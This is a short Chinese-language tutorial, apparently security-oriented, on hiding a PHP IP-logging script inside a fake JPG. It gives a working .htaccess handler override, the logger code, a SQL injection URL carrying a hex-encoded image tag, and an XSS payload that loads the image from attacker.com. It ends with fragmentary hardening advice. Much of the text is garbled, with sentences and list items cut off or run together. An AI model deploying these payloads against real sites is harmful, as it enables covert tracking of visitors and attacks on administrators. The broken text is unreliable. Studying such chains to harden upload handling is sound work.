攻擊者可通過偽裝圖片文件實際執行 PHP 代碼,在受害者瀏覽「圖片」時記錄其 IP 地址。理解攻擊鏈路有助於構建更安全的應用。
在目標目錄放置 .htaccess,強制將 .jpg 交由 PHP 解析器處理:
AddHandler application/x-httpd-php5 .jpg
<?php
$fh = fopen('ip_list.txt', 'a');
fwrite($fh, $_SERVER['REMOTE_ADDR'] . " ");
fclose($fh);
// 輸出一張真實圖片掩人耳目
$im = imagecreatefromjpeg("n00b.png");
header('Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>
配合同目錄下的真實圖片 n00b.png,訪問 grabber.jpg 時:
$_SERVER['REMOTE_ADDR'] 到文本文件https://target.com/vuln.php?id=1' union select 1,0x3c696d67207372633d22...jpg223e,3#
將惡意圖片 URL 注入數據庫,後台管理員查看數據時觸發載荷。
https://target.com/xss.php?name=<img src="https://attacker.com/grabber.jpg">
利用未過濾的輸出點,使所有訪問該頁面的用戶自動請求攻擊者圖片。
php_flag engine off 或 SetHandler none 禁止上傳目錄執行腳本。getimagesize()、finfo 二次校驗),重命名存儲(去除原始擴展名)。img-src 僅信任自有域名/CDN。社區類網站允許用戶發布圖片是常態,開發者必須從上傳、存儲、分發全鏈路構建防禦體系,切勿僅依賴前端校驗。